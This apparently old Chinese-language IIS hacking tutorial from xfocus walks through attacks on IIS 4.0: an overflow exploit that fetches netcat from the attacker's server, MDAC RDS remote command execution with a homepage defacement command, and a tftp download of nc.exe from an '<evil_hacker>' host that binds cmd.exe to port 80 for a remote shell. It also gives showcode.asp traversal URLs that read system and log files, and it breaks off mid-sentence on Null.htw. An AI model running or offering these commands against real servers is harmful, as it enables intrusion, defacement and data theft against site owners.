BY XUNDI<安全焦点>
http://www.xfocus.org
xundi1@21cn.com
这里整理了一些关于IIS HACK的一些漏洞,供大家参考。
1,介绍
由于这些方法针对通过端口80来操作,所以具有一定的威胁性,因为作为WEB你
这个口总要开的。如果你想一边抽烟一边查漏洞,OK,你下载一些CGI扫描器来
帮助你检查,你可以尝试使用这两个:
"whisker" by "rain forest puppy" (www.wiretrip.net/rfp).
"cis" by "mnemonix" (www.cerberus-infosec.co.uk)
另外你如果要知道目标机器运行的是啥类型的服务程序,你可以使用
下面的命令:
telnet <victim> 80
GET HEAD / HTTP/1.0
就可以返回一些名字和WEB服务程序版本,如果有些服务器把WEB运行在
8080,81,8000,8001口,你就TELNET相应的口上。
如果你要知道运行了SSL的WEB服务程序,在WEB服务器和浏览器进行了
连接的的话,我们就可以使用工具"ssleay":
s_client -connect <victim>:443
HEAD / HTTP /1.0
======================================================================
2,一些常用方法:
========IIS HACK==========
www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载
程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢
出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求
没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序
在系统中下载和执行程序。
要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面
的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器,
当然你可以是虚拟服务器哦。
你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应
的目录下,然后使用iishack.exe来检查目标机器:
c:\>iishack.exe <victim> 80 <your web server>/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:\>nc <victim> 80
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。
=========MDAC- 本地命令执行===========
你可能认为这个漏洞太老了,可网络如此之大,可能还有好多IIS WEB服务
器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行
你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下,
它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,
其一般默认情况下是SYSTEM用户。关于这个漏洞的描述,很多文章介绍
的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在
这个漏洞,你可以通过下面的操作:
c:\>nc -nw -w 2 <victim> 80
GET /msadc/msadcs.dll HTTP
如果你得到下面的信息:
application/x_varg
就很有可能没有打上补丁并存在此漏洞,你可以使用rain forest puppy
站上的两个程序进行测试(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl 。
c:\> mdac.pl -h <victim>
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c
OK,如果你要替换对方的主页,你就可以使用下面的方法:
cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并
把CMD.EXE绑定到端口80上,我们可以设置我们自己的TFTP服务程序并把
nc.exe放上去,然后在执行命令,如:
cmd/c cd %systemroot%&&tftp -i <evil_hacker> GET nc.exe&&del ftptmp
&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe
然后你就连接到80口,得到一个SHELL口让你浏览。呵呵!
=========Codebrws.ASP & Showcode.ASP ==================
Codebrws.ASP和Showcode.ASP在IIS4.0中是附带的看文件的程序,
但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为
联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程
攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意
以下几点:
1,Codebrws.ASP 和 Showcode.ASP默认情况下没有安装。
2,漏洞仅允许查看文件内容。
3,这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4,只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装
是个不错的注意,也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
http://www.victim.com/iisamples/exair/howitworks/codebrws.ASP?source=/
iisamples/exair/howitworks/codebrws.ASP
你就可以查看到codebrws.ASP的源代码了。
你也可以使用showcode.ASP来查看文件:
http://www.victim.com/msadc/samples/selector/showcode.ASP?
source=/msadc/../../../../../winnt/win.ini
当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的
机器,或许他其他的机器的安全性比WEB差呢;).如:
http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.ASP?
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
=========Null.htw===============
IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞,
就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的
源代码,包伙global.asa里面包含了用户名和密码等敏感信息。工具者
如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,提供逻辑分
区和ROOT目录的访问。这个"hit-highlighting"功能在Index Server中
没有充分